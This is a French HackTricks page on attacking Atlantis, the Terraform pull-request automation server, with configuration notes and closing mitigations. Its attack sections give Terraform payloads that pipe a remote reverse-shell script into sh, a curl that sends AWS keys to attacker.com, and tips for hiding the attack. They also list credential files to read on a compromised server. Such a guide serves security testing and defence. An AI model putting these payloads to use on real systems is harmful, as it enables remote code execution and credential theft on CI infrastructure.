Atlantis Security

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Informations de base

Atlantis vous aide essentiellement à exécuter terraform à partir de Pull Requests de votre serveur git.

Laboratoire local

  1. Allez sur la page des versions d’atlantis Ă  https://github.com/runatlantis/atlantis/releases et tĂ©lĂ©chargez celle qui vous convient.
  2. Créez un jeton personnel (avec accÚs au dépÎt) de votre utilisateur github.
  3. Exécutez ./atlantis testdrive et cela créera un dépÎt de démonstration que vous pouvez utiliser pour communiquer avec atlantis.
  4. Vous pouvez accéder à la page web à 127.0.0.1:4141.

AccĂšs Ă  Atlantis

Identifiants du serveur Git

Atlantis prend en charge plusieurs hĂŽtes git tels que Github, Gitlab, Bitbucket et Azure DevOps.
Cependant, pour accĂ©der aux dĂ©pĂŽts sur ces plateformes et effectuer des actions, il doit avoir un accĂšs privilĂ©giĂ© accordĂ© (au moins des autorisations d’écriture).
La documentation encourage à créer un utilisateur sur ces plateformes spécifiquement pour Atlantis, mais certaines personnes peuvent utiliser des comptes personnels.

Warning

Dans tous les cas, du point de vue d’un attaquant, le compte Atlantis sera trĂšs intĂ©ressant Ă  compromettre.

Webhooks

Atlantis utilise Ă©ventuellement Webhook secrets pour valider que les webhooks qu’il reçoit de votre hĂŽte Git sont lĂ©gitimes.

Une façon de confirmer cela serait de permettre uniquement les requĂȘtes provenant des IPs de votre hĂŽte Git, mais une maniĂšre plus simple est d’utiliser un Webhook Secret.

Notez que, Ă  moins que vous n’utilisiez un serveur github ou bitbucket privĂ©, vous devrez exposer les points de terminaison webhook Ă  Internet.

Warning

Atlantis va exposer des webhooks afin que le serveur git puisse lui envoyer des informations. Du point de vue d’un attaquant, il serait intĂ©ressant de savoir si vous pouvez lui envoyer des messages.

Identifiants du fournisseur

De la documentation :

Atlantis exĂ©cute Terraform en exĂ©cutant les commandes terraform plan et apply sur le serveur oĂč Atlantis est hĂ©bergĂ©. Tout comme lorsque vous exĂ©cutez Terraform localement, Atlantis a besoin d’identifiants pour votre fournisseur spĂ©cifique.

C’est Ă  vous de fournir des identifiants pour votre fournisseur spĂ©cifique Ă  Atlantis :

  • Le Helm Chart d’Atlantis et le Module AWS Fargate ont leurs propres mĂ©canismes pour les identifiants du fournisseur. Lisez leur documentation.
  • Si vous exĂ©cutez Atlantis dans le cloud, de nombreux clouds ont des moyens de donner un accĂšs API cloud aux applications qui y sont exĂ©cutĂ©es, par exemple :
  • RĂŽles AWS EC2 (Recherchez “EC2 Role”)
  • Comptes de service d’instance GCE
  • De nombreux utilisateurs dĂ©finissent des variables d’environnement, par exemple AWS_ACCESS_KEY, lĂ  oĂč Atlantis est exĂ©cutĂ©.
  • D’autres crĂ©ent les fichiers de configuration nĂ©cessaires, par exemple ~/.aws/credentials, lĂ  oĂč Atlantis est exĂ©cutĂ©.
  • Utilisez le HashiCorp Vault Provider pour obtenir des identifiants de fournisseur.

Warning

Le conteneur oĂč Atlantis est exĂ©cutĂ© contiendra trĂšs probablement des identifiants privilĂ©giĂ©s pour les fournisseurs (AWS, GCP, Github
) qu’Atlantis gĂšre via Terraform.

Page Web

Par dĂ©faut, Atlantis exĂ©cutera une page web sur le port 4141 en localhost. Cette page vous permet simplement d’activer/dĂ©sactiver l’application atlantis et de vĂ©rifier l’état du plan des dĂ©pĂŽts et de les dĂ©verrouiller (elle ne permet pas de modifier des choses, donc elle n’est pas trĂšs utile).

Vous ne la trouverez probablement pas exposĂ©e Ă  Internet, mais il semble que par dĂ©faut aucun identifiant n’est nĂ©cessaire pour y accĂ©der (et s’ils le sont, atlantis:atlantis sont les identifiants par dĂ©faut).

Configuration du serveur

La configuration de atlantis server peut ĂȘtre spĂ©cifiĂ©e via des options de ligne de commande, des variables d’environnement, un fichier de configuration ou un mĂ©lange des trois.

Les valeurs sont choisies dans cet ordre :

  1. Options
  2. Variables d’environnement
  3. Fichier de configuration

Warning

Notez que dans la configuration, vous pourriez trouver des valeurs intéressantes telles que jetons et mots de passe.

Configuration des dépÎts

Certaines configurations affectent la maniĂšre dont les dĂ©pĂŽts sont gĂ©rĂ©s. Cependant, il est possible que chaque dĂ©pĂŽt nĂ©cessite des paramĂštres diffĂ©rents, donc il existe des moyens de spĂ©cifier chaque dĂ©pĂŽt. Voici l’ordre de prioritĂ© :

  1. Fichier /atlantis.yml. Ce fichier peut ĂȘtre utilisĂ© pour spĂ©cifier comment atlantis doit traiter le dĂ©pĂŽt. Cependant, par dĂ©faut, certaines clĂ©s ne peuvent pas ĂȘtre spĂ©cifiĂ©es ici sans certaines options permettant cela.
  2. Probablement requis d’ĂȘtre autorisĂ© par des options comme allowed_overrides ou allow_custom_workflows.
  3. Configuration cĂŽtĂ© serveur : Vous pouvez le passer avec l’option --repo-config et c’est un yaml configurant de nouveaux paramĂštres pour chaque dĂ©pĂŽt (regex pris en charge).
  4. Valeurs par défaut.

Protections PR

Atlantis permet d’indiquer si vous souhaitez que le PR soit approuvĂ© par quelqu’un d’autre (mĂȘme si cela n’est pas dĂ©fini dans la protection de branche) et/ou soit fusionnable (protections de branche passĂ©es) avant d’exĂ©cuter apply. D’un point de vue sĂ©curitĂ©, il est recommandĂ© de dĂ©finir les deux options.

Dans le cas oĂč allowed_overrides est True, ces paramĂštres peuvent ĂȘtre Ă©crasĂ©s sur chaque projet par le fichier /atlantis.yml.

Scripts

La configuration du dĂ©pĂŽt peut spĂ©cifier des scripts Ă  exĂ©cuter avant (hooks de prĂ©-traitement) et aprĂšs (hooks de post-traitement) qu’un workflow est exĂ©cutĂ©.

Il n’y a aucune option pour spĂ©cifier ces scripts dans le fichier /atlantis.yml du dĂ©pĂŽt.

Workflow

Dans la configuration du dépÎt (configuration cÎté serveur), vous pouvez spécifier un nouveau workflow par défaut, ou créer de nouveaux workflows personnalisés. Vous pouvez également spécifier quels dépÎts peuvent accéder aux nouveaux générés.
Ensuite, vous pouvez permettre au fichier atlantis.yaml de chaque dépÎt de spécifier le workflow à utiliser.

Caution

Si l’option configuration cĂŽtĂ© serveur allow_custom_workflows est dĂ©finie sur True, les workflows peuvent ĂȘtre spĂ©cifiĂ©s dans le fichier atlantis.yaml de chaque dĂ©pĂŽt. Il est Ă©galement potentiellement nĂ©cessaire que allowed_overrides spĂ©cifie Ă©galement workflow pour Ă©craser le workflow qui va ĂȘtre utilisĂ©.
Cela donnera essentiellement RCE dans le serveur Atlantis à tout utilisateur pouvant accéder à ce dépÎt.

# atlantis.yaml

version: 3
projects:

- dir: .
  workflow: custom1
  workflows:
  custom1:
  plan:
  steps: - init - run: my custom plan command
  apply:
  steps: - run: my custom apply command

Vérification de la politique Conftest

Atlantis prend en charge l’exĂ©cution de politiques conftest cĂŽtĂ© serveur contre la sortie du plan. Les cas d’utilisation courants pour cette Ă©tape incluent :

  • Interdire l’utilisation d’une liste de modules.
  • Affirmer les attributs d’une ressource au moment de sa crĂ©ation.
  • DĂ©tecter les suppressions de ressources non intentionnelles.
  • PrĂ©venir les risques de sĂ©curitĂ© (c’est-Ă -dire exposer des ports sĂ©curisĂ©s au public).

Vous pouvez vérifier comment le configurer dans la documentation.

Commandes Atlantis

Dans la documentation vous pouvez trouver les options que vous pouvez utiliser pour exécuter Atlantis :

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Attaques

Warning

Si pendant l’exploitation vous trouvez cette erreur : Error: Error acquiring the state lock

Vous pouvez le corriger en exécutant :

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - Modification de configuration dans une nouvelle PR

Si vous avez un accĂšs en Ă©criture sur un dĂ©pĂŽt, vous pourrez crĂ©er une nouvelle branche et gĂ©nĂ©rer une PR. Si vous pouvez exĂ©cuter atlantis plan (ou peut-ĂȘtre est-ce exĂ©cutĂ© automatiquement) vous pourrez RCE Ă  l’intĂ©rieur du serveur Atlantis.

Vous pouvez le faire en faisant charger une source de données externe par Atlantis. Il suffit de mettre un payload comme le suivant dans le fichier main.tf :

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Attaque plus discrĂšte

Vous pouvez effectuer cette attaque mĂȘme de maniĂšre plus discrĂšte, en suivant ces suggestions :

  • Au lieu d’ajouter le rev shell directement dans le fichier terraform, vous pouvez charger une ressource externe qui contient le rev shell :
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Vous pouvez trouver le code rev shell dans https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • Dans la ressource externe, utilisez la fonctionnalitĂ© ref pour cacher le code rev shell terraform dans une branche Ă  l’intĂ©rieur du dĂ©pĂŽt, quelque chose comme : git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
  • Au lieu de crĂ©er une PR vers master pour dĂ©clencher Atlantis, crĂ©ez 2 branches (test1 et test2) et crĂ©ez une PR de l’une Ă  l’autre. Lorsque vous avez terminĂ© l’attaque, il vous suffit de supprimer la PR et les branches.

Dump des secrets du plan Atlantis

Vous pouvez dumper les secrets utilisés par terraform en exécutant atlantis plan (terraform plan) en mettant quelque chose comme ceci dans le fichier terraform :

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis appliquer RCE - Modification de configuration dans une nouvelle PR

Si vous avez un accĂšs en Ă©criture sur un dĂ©pĂŽt, vous pourrez crĂ©er une nouvelle branche et gĂ©nĂ©rer une PR. Si vous pouvez exĂ©cuter atlantis apply, vous pourrez RCE Ă  l’intĂ©rieur du serveur Atlantis.

Cependant, vous devrez généralement contourner certaines protections :

  • Mergeable : Si cette protection est dĂ©finie dans Atlantis, vous ne pouvez exĂ©cuter atlantis apply que si la PR est mergeable (ce qui signifie que la protection de branche doit ĂȘtre contournĂ©e).
  • VĂ©rifiez les contournements potentiels des protections de branche
  • ApprouvĂ© : Si cette protection est dĂ©finie dans Atlantis, un autre utilisateur doit approuver la PR avant que vous puissiez exĂ©cuter atlantis apply
  • Par dĂ©faut, vous pouvez abuser du token Gitbot pour contourner cette protection

Exécution de terraform apply sur un fichier Terraform malveillant avec local-exec.
Vous devez simplement vous assurer qu’une charge utile comme les suivantes se termine dans le fichier main.tf :

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Suivez les suggestions de la technique précédente pour effectuer cette attaque de maniÚre plus discrÚte.

Injection de ParamĂštres Terraform

Lors de l’exĂ©cution de atlantis plan ou atlantis apply, terraform est exĂ©cutĂ© en arriĂšre-plan, vous pouvez passer des commandes Ă  terraform depuis atlantis en commentant quelque chose comme :

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Vous pouvez passer des variables d’environnement qui pourraient ĂȘtre utiles pour contourner certaines protections. VĂ©rifiez les variables d’environnement terraform dans https://www.terraform.io/cli/config/environment-variables

Workflow personnalisé

Exécution de commandes de construction personnalisées malveillantes spécifiées dans un fichier atlantis.yaml. Atlantis utilise le fichier atlantis.yaml de la branche de la demande de tirage, pas de master.
Cette possibilité a été mentionnée dans une section précédente :

Caution

Si le drapeau server side config allow_custom_workflows est dĂ©fini sur True, les workflows peuvent ĂȘtre spĂ©cifiĂ©s dans le fichier atlantis.yaml de chaque dĂ©pĂŽt. Il est Ă©galement potentiellement nĂ©cessaire que allowed_overrides spĂ©cifie Ă©galement workflow pour remplacer le workflow qui va ĂȘtre utilisĂ©.

Cela donnera essentiellement RCE sur le serveur Atlantis à tout utilisateur pouvant accéder à ce dépÎt.

# atlantis.yaml
version: 3
projects:
  - dir: .
    workflow: custom1
workflows:
  custom1:
    plan:
      steps:
        - init
        - run: my custom plan command
    apply:
      steps:
        - run: my custom apply command

Contourner les protections plan/apply

Si le drapeau server side config allowed_overrides a apply_requirements configuré, il est possible pour un dépÎt de modifier les protections plan/apply pour les contourner.

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

Si quelqu’un envoie des atlantis plan/apply commentaires sur vos pull requests valides, cela fera en sorte que terraform s’exĂ©cute quand vous ne le souhaitez pas.

De plus, si vous n’avez pas configurĂ© dans la protection de branche pour demander une réévaluation de chaque PR lorsqu’un nouveau commit est poussĂ© dessus, quelqu’un pourrait Ă©crire des configurations malveillantes (voir les scĂ©narios prĂ©cĂ©dents) dans la configuration terraform, exĂ©cuter atlantis plan/apply et obtenir RCE.

C’est le paramùtre dans les protections de branche Github :

Webhook Secret

Si vous parvenez Ă  voler le webhook secret utilisĂ© ou s’il n’y a pas de webhook secret utilisĂ©, vous pourriez appeler le webhook Atlantis et invoquer des commandes atlatis directement.

Bitbucket

Bitbucket Cloud ne prend pas en charge les webhook secrets. Cela pourrait permettre aux attaquants de falsifier des requĂȘtes depuis Bitbucket. Assurez-vous de n’autoriser que les IPs de Bitbucket.

  • Cela signifie qu’un attaquant pourrait faire des requĂȘtes falsifiĂ©es Ă  Atlantis qui semblent provenir de Bitbucket.
  • Si vous spĂ©cifiez --repo-allowlist, alors ils ne pourraient falsifier que des requĂȘtes concernant ces dĂ©pĂŽts, donc le plus de dĂ©gĂąts qu’ils pourraient causer serait de planifier/appliquer sur vos propres dĂ©pĂŽts.
  • Pour Ă©viter cela, autorisez les adresses IP de Bitbucket (voir les adresses IPv4 sortantes).

Post-Exploitation

Si vous avez réussi à accéder au serveur ou au moins à obtenir un LFI, il y a des choses intéressantes que vous devriez essayer de lire :

  • /home/atlantis/.git-credentials Contient les identifiants d’accĂšs vcs
  • /atlantis-data/atlantis.db Contient les identifiants d’accĂšs vcs avec plus d’infos
  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Fichier d’état terraform
  • Exemple : /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
  • /proc/1/environ Variables d’environnement
  • /proc/[2-20]/cmdline Ligne de commande de atlantis server (peut contenir des donnĂ©es sensibles)

Mitigations

Don’t Use On Public Repos

Parce que n’importe qui peut commenter sur des pull requests publiques, mĂȘme avec toutes les mitigations de sĂ©curitĂ© disponibles, il est toujours dangereux d’exĂ©cuter Atlantis sur des dĂ©pĂŽts publics sans une configuration appropriĂ©e des paramĂštres de sĂ©curitĂ©.

Don’t Use --allow-fork-prs

Si vous exĂ©cutez sur un dĂ©pĂŽt public (ce qui n’est pas recommandĂ©, voir ci-dessus), vous ne devriez pas dĂ©finir --allow-fork-prs (par dĂ©faut Ă  false) car n’importe qui peut ouvrir une pull request depuis son fork vers votre dĂ©pĂŽt.

--repo-allowlist

Atlantis nécessite que vous spécifiiez une liste blanche de dépÎts à partir desquels il acceptera des webhooks via le drapeau --repo-allowlist. Par exemple :

  • DĂ©pĂŽts spĂ©cifiques : --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
  • Votre organisation entiĂšre : --repo-allowlist=github.com/runatlantis/*
  • Chaque dĂ©pĂŽt dans votre installation GitHub Enterprise : --repo-allowlist=github.yourcompany.com/*
  • Tous les dĂ©pĂŽts : --repo-allowlist=*. Utile lorsque vous ĂȘtes dans un rĂ©seau protĂ©gĂ© mais dangereux sans Ă©galement dĂ©finir un webhook secret.

Ce drapeau garantit que votre installation Atlantis n’est pas utilisĂ©e avec des dĂ©pĂŽts que vous ne contrĂŽlez pas. Voir atlantis server --help pour plus de dĂ©tails.

Protect Terraform Planning

Si des attaquants soumettent des pull requests avec du code Terraform malveillant dans votre modĂšle de menace, vous devez ĂȘtre conscient que les approbations terraform apply ne suffisent pas. Il est possible d’exĂ©cuter du code malveillant dans un terraform plan en utilisant la source de donnĂ©es externe ou en spĂ©cifiant un fournisseur malveillant. Ce code pourrait alors exfiltrer vos identifiants.

Pour éviter cela, vous pourriez :

  1. IntĂ©grer les fournisseurs dans l’image Atlantis ou hĂ©berger et refuser l’egress en production.
  2. Mettre en Ɠuvre le protocole de registre de fournisseurs en interne et refuser l’egress public, de cette façon vous contrĂŽlez qui a un accĂšs en Ă©criture au registre.
  3. Modifier votre configuration de dĂ©pĂŽt cĂŽtĂ© serveur’s plan Ă©tape pour valider l’utilisation de fournisseurs ou de sources de donnĂ©es non autorisĂ©s ou de PRs provenant d’utilisateurs non autorisĂ©s. Vous pourriez Ă©galement ajouter une validation supplĂ©mentaire Ă  ce stade, par exemple exiger un “pouce en l’air” sur la PR avant de permettre Ă  la plan de continuer. Conftest pourrait ĂȘtre utile ici.

Webhook Secrets

Atlantis doit ĂȘtre exĂ©cutĂ© avec des secrets de webhook dĂ©finis via les variables d’environnement $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. MĂȘme avec le drapeau --repo-allowlist dĂ©fini, sans un webhook secret, les attaquants pourraient faire des requĂȘtes Ă  Atlantis en se faisant passer pour un dĂ©pĂŽt qui est sur la liste blanche. Les secrets de webhook garantissent que les requĂȘtes webhook proviennent rĂ©ellement de votre fournisseur VCS (GitHub ou GitLab).

Si vous utilisez Azure DevOps, au lieu des secrets de webhook, ajoutez un nom d’utilisateur et un mot de passe de base.

Azure DevOps Basic Authentication

Azure DevOps prend en charge l’envoi d’un en-tĂȘte d’authentification de base dans tous les Ă©vĂ©nements de webhook. Cela nĂ©cessite d’utiliser une URL HTTPS pour votre emplacement de webhook.

SSL/HTTPS

Si vous utilisez des secrets de webhook mais que votre trafic est sur HTTP, alors les secrets de webhook pourraient ĂȘtre volĂ©s. Activez SSL/HTTPS en utilisant les drapeaux --ssl-cert-file et --ssl-key-file.

Enable Authentication on Atlantis Web Server

Il est fortement recommandĂ© d’activer l’authentification dans le service web. Activez BasicAuth en utilisant --web-basic-auth=true et configurez un nom d’utilisateur et un mot de passe en utilisant les drapeaux --web-username=yourUsername et --web-password=yourPassword.

Vous pouvez Ă©galement passer ces valeurs en tant que variables d’environnement ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername et ATLANTIS_WEB_PASSWORD=yourPassword.

References

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks